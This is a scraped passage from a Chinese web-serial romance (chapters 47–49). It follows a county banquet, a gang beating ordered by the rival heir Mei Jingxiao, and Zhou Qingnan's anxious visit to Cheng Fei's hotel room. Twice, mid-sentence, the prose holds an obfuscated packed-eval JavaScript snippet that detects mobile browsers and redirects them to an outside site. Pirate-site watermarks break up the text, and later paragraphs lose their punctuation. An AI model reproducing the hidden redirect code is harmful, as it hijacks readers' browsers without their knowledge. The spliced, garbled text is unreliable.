就是连雨水都嫉妒。 嫉妒那些雨滴,凭什么能那样肆无忌惮,亲吻她妖娆如雪的腿根皮肤。 * 突如其来的大雨中断了兰贵县连续数日的大晴天。 等程菲去洗手间整理完着装仪容,重新回到吃饭的雅间时,县委的韩秘书已经买完单。 这时,饭桌上除了周清南、梅景逍、张书记以及许副书记之外,其余人酒过三巡,都有点儿高了。 梁主任端起自己还剩小半壶的分酒器,稳住步子来到周清南身前,笑着说:“周总,上回见面没能好好敬您几杯,这次我可要补上。我先干为敬,预祝贵司跟咱们台的合作圆满成功!” 周清南脸色冷漠,看都没看梁瀚一眼。 梁瀚正在兴头上,也没注意到这位爷是什么反应,径自仰头,把分酒器里的酒喝了个空。 分酒器容量比酒杯大得多,小半壶也是一两还多,梁主任敢直接在梅四少面前干大杯,也是仗着自己厮杀酒场多年的经验。但他低估了67度白酒的威力,本来就有点晕乎,最后这一两还多的白酒,成了压垮骆驼的最后一根稻草。 梁瀚彻底高了,神思混沌脑子也打不过转,咂咂嘴,眼风无意识往周清南身侧瞟了眼。 只见边儿上,梅四公子一双长腿优雅交叠,似笑非笑,正用一副兴味盎然的眼神瞧着刚被自己敬完酒的周总。 梁瀚注意到什么,微皱眉,冷不丁便抬起一只手,指着梅景逍的嘴角诧异地咦一声,完全不过脑地道:“梅总,你这脸怎么了?” 话音落地,距离最近的张书记和许副书记脸色都是微变。 梅四少刚才还好好的,跟周总出去透了个风抽了根烟,回来脸上就挂了点儿彩。张书记和许副书记都瞧得真真的,但聪明人不管别家事,他们看见了也只当没看见。 小说的域名qiexs?(请来企鹅 小说 看最新章节 完整章节) 哪成想,这滨港来的梁主任是个大脑空空的蠢货,居然敢老虎背上 拔毛。 张书记不悦地皱了下眉,看梁瀚的眼神里也多出几分嫌弃。 周清南脸色凉凉,瞥了梅景逍一眼。 梅四少爷眼中迅速掠过一丝狠戾。但表面上还是那副儒雅温和的谦谦君子样,直接拿面前腰粗膀圆的中年人当空气,转而朝张书记道:“书记,外面下大雨了,看来今天做不成什么事。” “今天是您和周总来兰贵的第一天,还是以休整为主。”张书记笑盈盈地答,“等明天,我亲自带二位去白杨村,不知道周总、梅总意下如何?” “我没什么意见。”梅景逍神色温雅,用余光扫了扫周清南,“听周总的吧。” 周清南淡漠地笑了下:“客随主便,张书记您安排就好。” “那就这么定了。”张书记笑着点头。 醉醺醺的梁瀚干杵在边儿上,见面前的几位大佬没一个想搭理自己,脸上有点挂不住,只能赔着笑打个酒嗝,摇摇晃晃地回到自己座位。 张书记和许副书记说其他事去了。 主位这边,梅四少垂眸,从西裤裤兜里取出手机,点亮屏幕发消息,之后又重新熄灭手机屏,若无其事端茶喝。 周清南把玩着打火机,有一搭没一搭的,脸色冷淡。 而后便开口,用只有他和梅景逍能听见的音量,沉声说:“你这次来兰贵是为了做公益。凡事悠着点儿,别给我做太过。” 梅景逍听后,扭头看向周清南,嘴角扬起抹讥诮又温柔的笑,也低声:“谁说我是来做公益的?我明明是为大嫂来的。” 周清南的脸色眨眼间沉冷若冰。他侧目回视梅景逍,眸色极冷,没有吭声。 梅景逍玩味儿地与周清南对望,稍稍停顿了下,又倾身靠近周清南耳畔,嗓音温和而清冷:“南哥,千万看好她,眼睛都别眨一下。因为我们的游戏,才刚刚开始。” * 接风宴吃完,张书记等人又派了专车将程菲、周清南、梅景逍等考察团一行送至酒店。 这家酒店的档次其实只算个三星级,但在兰贵这座小城里已经算是最优选。 代表梅氏集团的几个高层都是上流社会的人上人,过惯了锦衣玉食的生活,乍一瞧见这种小酒店,心里难免嫌弃,但也别无二选,只好勉强地住下来。 下午两点左右,程菲在赵逸文的陪同下来到自己房间所在的楼层。 “程助理,考虑到你是考察团里唯一一个女孩子,所以我给你安排的房间跟梅总周总不在一层楼,想着这样你会方便一些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717617|94205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这样挺好的!程菲朝赵逸文露出个感激的笑,“谢谢你啊,小赵主任,你想得很周到。 赵逸文被她明艳的笑脸弄得有点不好意思,挠挠头,忽然就腼腆起来,“别这么客气,你们是贵客嘛,想周到一点是应该的。 两人随口聊着,之后便在一个房间前停下。 程菲抬头看了眼门牌号:516。 赵逸文将房卡递给她,又说:“这层楼最安静的就是这间房,离电梯厅、楼梯口和布草间都远。 听见这话,程菲更加对赵逸文感激不尽,开了门将行李箱拖进屋,为表谢意,还打开箱子拿出了从家里带出的零食分给他。 赵逸文本想推辞的,可架不住程菲的强力要求,只好收下。 “对了。 忽的,赵逸文想起什么,又从裤兜里掏出一张餐券递给程菲,说:“晚饭给你们定的餐厅自助,就在2楼,你可以凭券用餐,6点到8点之间。 “好的。 送走小赵主任,程菲关上房门,脸上强撑了大半天的笑容瞬间瓦解殆尽。她累得不行,想着下午没什么事,索性直接往床上一倒,蒙头睡去。 闭上眼,视野只剩一片黑暗。 身体很疲乏,脑神经却诡异地活跃异常。 反复回想起,之前在露天儿童乐园的那个场景。 男人幽沉的黑眸直勾勾盯着她,目光灼灼,回答她“我很关心,也非常在意…… 程菲翻了个身,用被子将整颗脑袋捂住,却仍旧控制不住地心跳飞快,思绪大乱。 当时,她是想问他的。 想问他,为什么如此在意她对其他异性的看法。 但是最后,并没有问出口。 程菲两手分别攥着棉被的左右角,在黑漆漆的被窝里眨了眨眼睛,一丝微不可察的酸涩和忧伤,萦绕上了 她的心尖。 她好奇周清南的答案,又畏惧他的答案…… “烦死了。”程菲闭上眼低咒了声。 明明说好,要对那个黒帮大佬挥刀斩情丝,可是她认真努力地斩了这么久,对他的喜欢却好像一点也没有减少,甚至还有越来越无法自拔的趋势。 实在不妙。 程菲叹了口气,翻过身,终于在这种乱成麻线的思绪中迷糊入睡。 * 晚上八点半,兰贵县北街。 梁主任中午吃饭的时候喝大了,最后是被两个政府部门的驾驶员给扛回的酒店,直到八点多才醒过来。 错过了免费的自助餐,梁瀚火气大得很,跟酒店餐厅的工作人员掰扯了半天,最后没辙,只能灰溜溜地自己去外面找东西吃。 兰贵不比大城市,这里年轻人少,多数是留守的老人和儿童,没有多姿多彩的夜生活。一到晚上,街道上的铺面便都关了门,街景一片萧瑟。 只有夹杂热浪的晚风一阵接一阵地刮过。 梁瀚步子还有点飘,肥硕的啤酒肚几乎要将白衬衣给撑裂开,走在路上边四处张望,边骂骂咧咧:“什么破地方,鸡不拉屎鸟不下蛋,才八点就关门闭户不做生意了,难怪是个贫困县。” 梁瀚往地上吐了口唾沫,看见旁边有个巷道,光线幽暗,依稀能听见人声从对面传来。 梁瀚吸了吸鼻子,转弯走进去,打算穿过这条巷子去对面看看。 谁知刚走到巷道正中,眼前便骤然一黑,一个麻袋直接罩住梁瀚整颗头。 “干什么!” 梁瀚情急之下大呼,正要接着说话,数道钢棍已经雨点似的朝他身体和头颅砸下…… 十来分钟后。 梁主任头破血流,已经瘫软在地上昏死过去。 一个马仔上前弯腰,一把扯下套在梁瀚头上的麻袋,拿脚踢了踢他的脸,然后便将手上的钢棍往肩上一架,问领头的说:“还有口气儿吊着,弄死不?” “行了,留这肥猪一条命。” 领头的凉声道,“四少特意交代了,不看僧面看佛面。这可是大嫂的上司,真要死在这儿,大嫂多难做。” 马仔诧异地扬扬眉,回身把麻袋往梁瀚身上一丢,嗤道,“还是第一次见得 罪了四少还能有活路的,这死肥猪运气不错啊。” 领头的说:“毕竟是大嫂嘛。周先生的女人,四少也得给面子。” * 酒店这边,程菲同样也睡到八点多才醒。 此时,窗外的天空已然黑透,整座小县城一片沉寂,跟座鬼城似的。 大概是坐了几个钟头的车实在疲累,中午跟一群大佬吃饭,神经又一直处于紧绷状态,好不容易放松下来,程菲这一觉睡得相当舒服,一个梦没做。 她打了个哈欠从床上坐起来,在黑暗光线中看了眼床头柜上的小圆钟,晚上的八点三十五分。 “……”?居然都八点多了? 难怪看外面的天那么黑。 程菲呆了呆,坐在床上挠了挠脑袋,猛地想起什么,下床抓起桌上的晚餐券一瞧。 果然,用餐时间截至晚上八点,这会儿早超过了。 中午吃的大餐已经消化得差不多,程菲觉得肚子饿,又懒得外出觅食,于是便坐在床边套好一次性拖鞋,随手从枕头底下把手机捞出来,准备点份外卖吃。 点亮手机屏幕的瞬间,她愕然地瞪大了眼。 足足十个未接来电。 程菲蹙眉,戳进来电信息界面一瞧,发现这十个未接来电里,有一个是她老妈蒋兰女士打的,一个是好友温舒唯打的,一个来自不久前刚进入他通讯录的小赵主任。 剩下的七个,则全是同一个人的夺命狂CALL。 周清南。 程菲:“……”? 程菲狐疑地皱了下眉,好奇这位大佬一连七个连环致电找自己到底有什么事,手指微动,正说给回个电话,忽然又听见一阵敲门声响起——砰砰。 程菲只好先熄灭屏幕,捏着手机站起身,走到房间门口。 透过猫眼朝屋外看。 只见走廊上光线昏暗,一道修长高大的人影站在她的房门口,白T恤黑卫裤,衣着简单,干净清爽,英俊凌厉的五官在暗光的渲染下充满侵略性。 看见敲门的人,程菲眸光微跳,没怎么迟疑,几乎是瞬间便将房门给打开。 “周总?”她伸出一颗被睡成鸡窝的脑袋,眨了眨还有点惺忪的眸,表情难掩意外,想起那七个未接来电,很自然地便礼貌询问,“请问您找我有什么急事吗?” 周清南低眸定定地看着她,脸色沉沉的,眼神不明。 他忽然问:“为什么不接电话?” 程菲被这位大佬问得一愣,动了动唇正要解释,对方却又抛出来第二句,声音低得有些哑,听着莫名教人心颤。 “你知不知道,我有多担心?” “……” 作者有话要说 下章继续对手戏,重大剧透:男主即将掉第一层马甲!!! 随机红包包~ 第 48 章 弄到大哭。 第48章弄到大哭。 周清南的突然出现,让程菲颇有几分始料未及。 她有些诧异地睁大了眼睛。 对面,周清南看着眼前这个懵里懵懂完全处于状况之外的小姑娘,高悬着的心总算落回肚子里。吐出口气,神经放松的同时,又突然觉得自己很滑稽。 下午吃完饭回到酒店之后,他满脑子都是她那双眸子里欲言又止的眼神。说冲个澡洗把脸,在浴室镜子里看到她,躺回床上睡觉,闭上了眼睛,脑子里还是她。 强迫自己不跟她联系,以为不去看不去听,那种牵肠挂肚的折磨就能好些。 好不容易捱到七点多八点的光景,实在忍不住给她打电话,却一连七个,都是无人接听。 周清南甚至不敢回忆几分钟前的感受。 梅氏集团早在数月之前就有计划赞助滨港电视台的扶贫栏目,意在通过这一主流媒体,扩大梅氏集团在西部落后地区的影响力、巩固梅氏在大众心目中“国民企业”的优良形象。 梅凤年是只千年的狐狸,心思缜密到极点,做任何事之前都会有大量布局,别看他私底下加入间谍组织,靠倒卖国家机密发大财,将所有违反乱纪伤天害理的勾当都做了个透,表面上,这位教父依然是商界知名的“大慈善家”。 赞助一个扶贫栏目,只是梅凤年拿来笼络底层人心的一步棋。 周清南本来没怎么关注过这件事。 可是汽修厂那一夜,这个傻姑娘在机缘巧合之下闯进这场棋局,瞬间令局势全变。 原本,负责梅氏集团和滨港电视台扶贫栏目合作的,是云城总部的一个高层。可就在汽修厂事件之后,远在迪拜的四少爷却忽然高调宣布回国,并且主动提出,要梅凤年将扶贫栏目的事交给自己。 得到这个消息的第一时间,周清南就已知晓四公子在打什么算盘。 梅家四少爷小周清南整六岁,几乎是周清南看着长大的孩子。相处多年,周清南太了解梅景逍,这个小少爷仪表堂堂天资聪颖,不仅继承了梅凤年英伟俊美的好相貌,就连心狠手毒六亲不认的乖张劲,都和年轻时的梅凤年如出一辙。 周清南在道上名头响亮,梅景逍自幼听着周清南的传说长 大,最初他是真的拿周清南当亲哥哥,也是真的对周清南充满崇拜与景仰。 但这种纯粹的敬意,在年月流逝中逐渐发生了变化。 或许是梅景逍骨子里的基因太过争强好胜,又或许是他的生长环境太过复杂,久而久之,小少年内心深处单纯而热烈的崇拜,演变成了仇视与敌对。 坦白说,周清南一直不明白梅景逍对他的敌意从何而来,又是因何而如此深刻。 他对此也一点不感兴趣,浑不在意。 周清南只知道,向来蔑伦悖理的四公子忽然插手扶贫栏目的事,司马昭之心昭然若揭,摆明了就是冲着程菲来的。 而他,绝不允许任何人伤害他的小姑娘。 今天中午在饭店的露天儿童乐园,梅景逍已经放了话,说兰贵的游戏才刚刚开始,转头到了傍晚,这小姑娘就失了联,打电话怎么都不接,很难让人不把这两件事联系到一起。 其实,早在第二通电话无人接听时,周清南便紧张起来。 耐着性子说服自己冷静,猜测她或许是在忙其他事,手机又恰好静音。可缓了半个钟头再打第三个第四个,依然没人接。 这下周清南便再也坐不住了。 边打电话,边冲到5楼的516房间来找人,嫌等电梯慢,他直接走的楼梯,一路上还遇到了几个酒店的工作人员,纷纷朝他投来异样目光。 他出门的时候太着急,鞋都他妈忘换了,踩双一次性拖鞋就冲出来了。 能不异样? 岂止是异样,简直活脱脱一个神经病。 周清南杵在原地站了大约两秒钟,没等到姑娘的答话,心里莫名就烦躁起来。 头也有点儿疼。 周清南拧眉闭眼侧过头,抬起手,狠狠掐了把眉心。 直到这时,刚从睡梦中醒来的姑娘才迟迟懵懵地回过神。 她眨了眨眼,还有点迷糊的大脑运作起来,将周清南几秒钟前的问句给过了一遍——这位大佬,刚问什么来着? 问她为什么不接电话。 然后说,知不知道他有多担心。 “呃…… 两颊的温度莫名升高,程菲脸蛋变得红红的,有点闷,下意识将只开了一道缝隙的大门给敞开了些来透气,回他 道,“我太困了,下午睡了一觉才醒,加上手机又没调铃声,所以没接到你的电话。” 话音落地,周清南掐摁眉心的动作稍顿了下,掀开眼皮,重新看向对面。 姑娘说话的声音懒绵绵的,还带着几丝鼻腔音,一头长发也乱蓬蓬地堆在脑袋上,双颊娇红眸光迷离,确实是刚从睡梦中醒来的状态。 就在周清南在这张小脸上细打量的时候,门里的小姑娘又出声了。 她一双晶莹的明眸带点怯意地望向他,眼含愧疚,支吾了半秒才轻声挤出两个字:“抱歉。” 这句“抱歉”钻进耳膜,就仿佛一盆水哗啦浇下来,瞬间将周清南心头的所有烦躁不安给浇灭。 他沉沉吐出一口气,静了静,然后才回她:“你又没做错事情,干嘛道歉。” “……还是有点错吧。如果我提前把手机调成响铃模式,就不会接不到你电话。”程菲小小地自我检讨了一下,说到这里稍稍一停,偷觑他一眼,又更低声地补充,“也就不会把你惹这么生气。” 周清南垂眸直勾勾地瞧着程菲,知道自己这种兴师问罪的架势有点吓到她了,语气便柔下几分,道:“我没有生你的气。” 程菲听完,迷茫地皱了下眉,不解嘀咕:“你不是因为我没接到你电话生气?可是你看起来真的很不爽。” 周清南耐着性子:“那也没有不爽你。” 程菲:“那你在不爽什么?” 周清南神色平静:“不爽我自己。” 程菲刚起来,本来就还有点不清醒,被他这两句话给弄得更糊涂,下意识又问:“……不爽你自己什么?” 周清南:“不爽回回遇到跟你有关的事,我就像个二傻子,连基本的判断力都会丧失。” 程菲:“……” 周清南说这句话的语气很平淡,仿佛只是在谈论午餐吃过的一块酱牛肉,可说者从容,听者就没法这么淡定了。 程菲只觉脸颊热热的,心口也热热的。 这种感觉很糟糕。 就像私藏了一颗不可告人的禁忌之种,为了阻遏它发芽,她又是泼开水又是下冰雹,可忽然从天而降一场甘霖加肥料,种子便在她心里牢牢扎下了根,将她之前为拔除它做的所有努力,都化为乌有。 心跳的频率快得有些失常。 但程菲不想表露出任何心绪上的波澜。她只是清清嗓子,依然用很正常的口吻,回他道:“有急事找一个人的时候,半天找不到,是容易情绪失控的。 说到这里,程菲停顿了下,又迟疑地抬高眼帘望他,问,“所以周总这么着急找我,到底有什么事? 周清南闻言,沉郁的眸牢牢盯着她,薄唇微抿,没有出声。 有什么事? 怎么说。 告诉她,他一分钟见不到她就坐立难安?告诉她,他每分每秒都想听见她的声音、看见她的样子? 告诉她,他一个自制力强到极点,三十年来从未沾过荤腥破过戒的人,连续数日,就像平白得了什么重度性瘾,每晚都能在梦里把她弄到大哭? 偏偏每天醒来,这个让他上瘾到发疯的小东西,还要在他眼皮底下晃悠。 朝夕相对,近在咫尺。 他脑子里想了一万种占有她的姿势,却偏偏该死的,不能触碰分毫。 因是午睡,程菲睡觉的时候也没换睡衣,只是随手将衬衫裙领口的扣子解开了三颗。 她睡相一贯不太好,在被窝里翻来覆去滚了几大圈,豁开的领口便敞得更大。 周清南目光无意识往下移几寸,便瞧见姑娘雪白纤细的脖颈,两条线条柔美的锁骨,和两侧衬衫布料之间,若隐若现的一条白沟…… 周清南的眼神有一瞬幽暗。短短零点几秒,他轻轻滚了下喉,视线不动色地移开看别处,克制而隐忍。 这家酒店和“兰贵之香 小说更新,记住域名qiexs⑺(请来企鹅 小说 看最新章节 完整章节)大饭店是同一年修的,都是旧时代的产物,贴着复古巴洛克式花纹的墙布已经有些剥落。 墙角处有一块深黑色的斑,不知糊的什么脏污,一个黑色蜘蛛从最低处缓慢往上攀爬。 脏污的黑斑也许是油渍,蜘蛛经过时脚上打滑,附着不住,掉下去。它又不死心地继续往上爬。 同样经过油污,同样从高处坠落。 再爬,再坠,往复循环,粉身碎骨也没想过要换另一条路。 周清南盯着那只微小的黑色蜘蛛,忽然牵了牵唇,笑意里带着轻讽的意味。 既是讥笑蜘蛛,也是嘲弄自己。 什么时候,人类变得和节肢动物一 样蠢明知死路一条却撞了南墙也不愿回头。 对面。 程菲站在门里等周清南答复可一连等了好几秒对面始终不给回音。 她不禁感到奇怪试着伸出一只纤白的右手在男人眼前轻轻挥了下道:“周总?您有听见我说话吗?” 也许是考虑到今天要出席正式场合姑娘今天应该喷了香水 周清南轻微眯了下眼。 那股味道没有程菲平日身上纯天然的体香好闻很甜像能实物化渗进人的咽喉。 周清南闻到这股香风眸微沉长腿往后退半步不露痕迹地将自己和她的距离拉开寸许。 “没什么。”他侧过头几乎是调用全部理智来命令自己不许看她语气听上去冷静自若“只是想问问你要不要一起吃晚饭。” 吃晚饭? 程菲着实震惊了。 她呆呆地望着周清南几乎是难以置信地接了句:“你打那么多电话、还亲自跑到这里来找我只是为了叫我一起跟你去吃晚饭?” 大佬的侧颜冷峻而平静只淡淡应她一个字:“嗯。” 程菲有点哭笑不得瞪着他道:“都这么晚了我是因为睡过头所以还没吃饭你又是为什么还没吃?” 周清南:“之前不饿现在饿了。” “饿了你自己去吃呀。”程菲脱口而出“为什么非要等我一起?” 还连打那么多夺命电话一副气势汹汹地样子杀到她房间门口来。 她还以为是和栏目相关的大事! “程助理的吃相很不错看了就有食欲。”周清南的神色依旧泰然自若“跟你一起吃饭比自己一个人吃有意思。” “……”……行吧。 听完大佬给出的理由程菲无言以对呆站原地一思索觉得反正自己和这位大佬都还没吃晚饭人家都亲自找过来了她也不好再驳这位爷的面子。 得。 一起吃就一起吃吧没什么大不了。 程菲琢磨着最终有点无奈地叹出一口气弯弯嘴角朝周清南露出个温柔微笑嗓音甜甜地说:“好的。那请问周总想吃什么?” 周清南看她一眼被她娇媚的笑色晃了下神语气不自觉便变得柔缓。 他柔声问:“你呢。想吃什么?” “我无所谓呀。”程菲很随意地耸耸肩诚实地补充“本来说去2楼吃餐厅的发现过了八点去不了了准备点外卖。” “外卖还得等。”周清南回了句语气里似乎对她的“点外卖”提议不太赞同。 程菲随口问:“你非常饿了吗?半个小时都不想等?” “不是。”周清南淡淡地说“只是觉得太晚吃饭对你胃不好。” “……” 程菲眸光微微一闪。 倒是确实没想到这位大佬不想等浪费时间等外卖只是觉得太晚吃饭对她的胃不好…… 程菲有些怔神只觉胸腔内泛起一丝微暖的细流浸透每根神经润物无声。 就在她怔忡失神的当口门外的男人又再次开口。 周清南低眸瞧着她道:“你收拾大概需要多久?” “……也就梳个头发穿个鞋子。”程菲回魂下意识乖乖回答他“最多两分钟吧。” “好。”周清南颔首“你收拾我在外面等你。” “哦。”程菲应了声接着便准备将房门关上。 可就在这时屋外的大佬又冷不丁冒出一句话嗓音听起来沉沉的还透着点儿性.感的沙哑:“记得把衣服穿好。” 程菲愣住一时间没明白他最后这句嘱咐是什么意思。 周清南在屋外见这小姑娘手扶着门框呆原地也不关门也没有其他动作细微拧了下眉。 怕她这副春光乍泄的娇媚样被路过走廊的其他人看见当即抬手握住她抓门框的细胳膊往里一搡动作轻柔而不容抗拒 516号房的房门关紧。 发出不轻不重的一声“砰”。 程菲:“……” 程菲被关门声惊了惊这才回神。 她轻皱眉头正纳闷儿着周清南最后那句意味深长的叮嘱是什么意思余光无意识往自己身前一扫顿时大惊失色一张本来就烫的脸蛋更是红了个底朝天—— 自己的衬衫裙虽然还穿在身上但包含领 扣在内的四颗扣子,居然都是开的!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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将底下那双裹在铅笔裤里的长腿显得愈发纤细。 长发绑成高马尾,大方展示出纤细而修长的脖子,肩颈线格外优越。 周清南视线在程菲脸蛋上端详两秒,而后,几乎是不由自主地,又扫向了她的脖颈以下。 宽松T恤往她身上一套,细胳膊细长腿,除此之外,再也看不出任何曲线。 几分钟前,被他无意窥见的春色被完美遮掩住,仿佛只是他病入膏肓时生出的臆想…… “我好了。姑娘忽然出声,试探性地说了声,“走吧。 周清南这才回过神,没说话,只是朝她点了点头。 两人便一道往电梯厅的方向走去。 并肩而立,彼此之间隔了大概半米电梯,安安静静等电梯,没有人说话。 程菲脸色还红红的。一想到刚才被他看光的事就羞恼,没办法和他自然地聊天交流,索性便拿出手机,打开微信,给好闺蜜温舒唯发消息。 美少女壮士小程同学:【你下午打电话找我什么事?我睡着了,手机静音没有响。】 发完等了几秒钟,不见回复。 程菲猜测温舒唯应该是在忙,便也没再催她,随手将手机屏熄灭。 不多时,电梯来了。 周清南提步走进去,程菲跟在后面,进了电梯后正准备顺手摁个“1,视野里却映入一只骨节修劲的大手,指尖微动,摁亮了数字“3。 程菲有点诧异,转头看向身侧,眼神里写满疑惑。 周清南脸上没什么表情,冷静地道:“有点急事,得用电脑回个文件,顺便换个鞋。 回文件就回文件吧,换鞋?换什么鞋 程菲迷茫半秒,下意识去看这位大佬的腿部以下。 一眼就看见一双纯白色的一次性拖鞋。 程菲嘴角不可控制地抽了抽,点头:“……好的。 没一会儿,叮一声,电梯抵达三层。 程菲跟在周清南身后走出电梯厅。 酒店客房区通铺了吸音地毯,人的脚步落上去,安静无声。 走廊静悄悄的,头顶光线也有些昏暗,程菲边走边转动脑袋观察四周,忽然想起什么,随口问:“你和梅总他们都住在三楼吗? “本来都订在这 层楼。只是梅氏的那几个住不惯普间,赵逸文就给他们换到四楼的行政间去了。”周清南漫不经心地说,“三楼就我一个。” 听见这番话,程菲不禁小声吐槽,“想不到梅四少看起来平易近人,结果这么难伺候。”说到这里,她稍顿,眼风悄悄扫一眼身旁的冷峻男人,忍俊不禁,小声咕哝着续道,“你看起来很难伺候,结果一点儿不为难人。” 闻言,周清南嘴角凉薄地扯了扯,随口道,“我哪儿能跟梅四少比啊。人家可是真正的金枝玉叶,我就一草根,无父无母,随波逐流。” “英雄不问出处。” 听见他贬低自己,程菲几乎是下意识便反驳,“你挺好的,别这么说自己。” 周清南侧眸,看了身旁的小姑娘一眼。 程菲走在旁边,察觉到男人视线投来,莫名便有些紧张,心跳急促掌心发热,匆匆将目光移开,逃避与之对视。 周清南看程菲的眼神变得有些意味深长,下一秒,他轻轻挑了下眉,收回视线。 行至420房号门口。 周清南停步,刷卡开门。 “进来坐会儿?”他一只手推开门,侧过头来看她,眼神沉沉的。 “……不用了吧。”程菲捏着挎包肩带,窘促不安,朝他挤出一个有些干巴的笑容,“你应该要不了多久,我在门口等就好。” 周清南:“随你。” 说完,男人径自进了屋。 程菲依言留在房门外等。原地踱了几圈步后,忽然感到一阵憋胀感从小腹传来,来势汹汹。 糟糕。 刚才起床之后喝了一大杯水,想上洗手间了。 “……”程菲窘迫地抿了抿唇,探头往420房门内瞧了眼。 只见房间内光线昏昧,只亮着一盏暗橘色的床头台灯。 周清南坐在窗前的书桌上,面前是一台笔记本电脑,屏幕的冷光依稀照亮他如画的眉眼。清寒,冷峻,沉静,专注。 踌躇两秒,程菲最终还是鼓起勇气敲了敲房门:砰砰。 电脑前的周清南听见动静,眼帘微掀,视线从电脑屏幕移开,望向姑娘柔美白皙的小脸。 “……可以借用一下洗手间吗?”程菲有些难为情,囧囧地问,音量也不大,“小 第 49 章 “只有我,会全心... 第49章“只有我,会全心 程菲难以形容她现在的感受。 心里像装了一壶快要烧开的水,又像是藏了一座快要喷发的火山,有太多复杂而澎湃的情绪。 那些情绪具体是什么? 激动?惊喜?期待?又或者是别的什么,程菲说不清楚。她只能听见自己激烈的心跳,仿佛擂鼓一般,声音就回响在耳畔,仿佛下一秒就会从她的胸口冲出来。 如果这个男人回答她,这些画纸上的涂鸦真的是桐树巷,如果他也和她有着同样的回忆与执念……那这说明了什么? 程菲手指收得更紧,骨节处泛起淡白色,牢牢抓着手里的那本画册,几乎已经屏住了呼吸。 她定定望着周清南,眼中暗流涌动情潮万千,执着地等待一个回答。 周清南眼皮微垂,也直勾勾注视着身前的小姑娘,沉静的眸光犹如一望无垠的深海,无风无浪也无涟漪。 滴答。 屋里钟表的秒针向前跳转一格。 周清南开口了。他语气平淡得没有丝毫波澜,很随意地说:“程小姐是滨港本地人,应该对桐树巷大拆迁有印象。 程菲眸光一瞬惊跳,轻声确认:“你画的是桐树巷? “对。周清南说话的同时,眼神已经移开不再看程菲。 他踏着步子走到电视柜前,弯了腰,拿起一瓶纯净水,随手拧开,神色还是懒倦而平静,“四年前,滨港政府正式启动了平谷区改造计划,桐树巷的拆迁是当年轰动全国的头条,还上过央视新闻,所以你应该知道。 话音落下的同时,纯净水瓶盖也拧开。 周清南侧过头,顺手把水递给身后的姑娘,腕骨往上掂一下,示意她接。 “谢谢,我不喝。 周清南便将胳膊收回来,仰起头,自顾自地喝了一口。 “我……我还是有点没明白。程菲眉心微蹙,盯着他英俊淡漠的侧颜,“当年那场拆迁轰动一时,跟你在画册上画桐树巷有什么关联? 周清南喉结滚动,把水咽下去。 “很多年我刚来滨港的时候,在桐树巷落过一阵子脚, 启动拆迁工程的当天我还去现场看过觉得挺感慨的偶尔回忆起来就会画两笔。” 周清南说着看程菲一眼微挑眉目光里缱出几分慵懒的疑惑“怎么。程小姐也和桐树巷有渊源?” 程菲像是没听见他后面的问句只顾着问:“你说你刚来滨港的时候在桐树巷住过一段时间?你是什么时候来的滨港?” 周清南顿都没顿一下 七年前? 程菲眉头的结皱得更紧。 对不上对不上…… 没等程菲再开口周清南又接着说:“那时候云城在搞大扫黑我也才刚满二十四前任老大死在了条子手里我没地方可去辗转漂泊就到了滨港。” 听完周清南的话程菲眉宇间流露出一丝微不可察的失落肩膀也消沉地塌下几分迟迟点头“原来是这样。我知道了。” 周清南神色如常眼神却沉得不可见底缓慢道:“程助理好像对桐树巷很了解。” “对呀。”程菲深吸一口气吐出来弯弯唇脸上浮起一抹微苦的浅笑“我两三岁的时候跟着爸妈来滨港一直就住在桐树巷高中的时候我爸妈攒到钱买了房子我们才从桐树巷搬走。” 周清南盯着她:“难怪你对那地方有感情。” 程菲闻言莫名便低低笑出声自言自语似的感叹:“去年今日此门中古往今来人类总是喜欢纪念很多旧址。可是说到底大家怎么会真正怀念一个地方呢?真正难以忘怀的是发生在那个地方的故事和在那个地方出现过的人而已。” 周清南漠然听她说着又仰头喝了一口纯净水冰凉的液体浸透肺腑寒意入心。 蓦地程菲转过脸来看向周清南毫无征兆地轻声开口说道:“在我五岁那年桐树巷搬来了一家人然后我就遇上了一个小哥哥。” “……” 周清南薄唇微抿神色淡漠如死水不见丝毫异状捏在手里的纯净水瓶却已悄无声息地变了形。 程菲说着话眼神有刹那放空像是穿越数年光阴看见了很久以前。 她嘴角很细微地牵了牵柔声续道:“小哥哥大我六岁我五岁的时候他已经十一岁了。个子高高的白白净净 眉清目秀。当时看见他第一眼我就很惊讶惊讶世界上居然有这么好看的人。” 周清南看着程菲眼神沉暗仍旧不语。 “小孩子都喜欢好看的人。” 程菲说到这里像是从回忆中醒了下神视线重新在周清南冷峻的脸庞上聚焦还是笑着“我觉得小哥哥长得像天上的神仙一样所以天天找他玩像个跟屁虫一样成天追在他后面。” “嘎吱。” 周清南沉沉吐出一口气手里的矿水瓶已经变形严重发出了一阵怪异的声响。 目之所及姑娘仍旧径自念叨着眼帘微微低垂下去浓密眼睫在脸蛋上投落下两圈浅淡的阴翳神色柔得像春日一缕风。 “可能是因为我天生是个话痨又很聒噪经常找那个哥哥吵得他烦。”程菲语气低了几分有点沮丧的味道“所以小哥哥挺讨厌我的吧。就连后来搬走离开了桐树巷彻底从我的生命中消失他也没有来跟我道个别。” 屋子里静极了 周清南陷入了几秒的静默。 他一声不吭地注视着程菲神色冷静片刻才启唇声音却低得有些发哑:“为什么跟我说这些。” “……” 程菲似乎被他问住了眸光闪烁僵滞半秒随后便轻声回道:“我也不知道。可能因为我们都在桐树巷生活过有点亲切所以就说得多了点。” 周清南又盯着她看了会儿。 继而将手里已经完全走样的水瓶子扔进垃圾桶摸出烟盒跟打火机低头完换鞋从烟盒里敲出一根烟一只手把烟丢嘴里另一只手五指摊开伸到了程菲跟前。 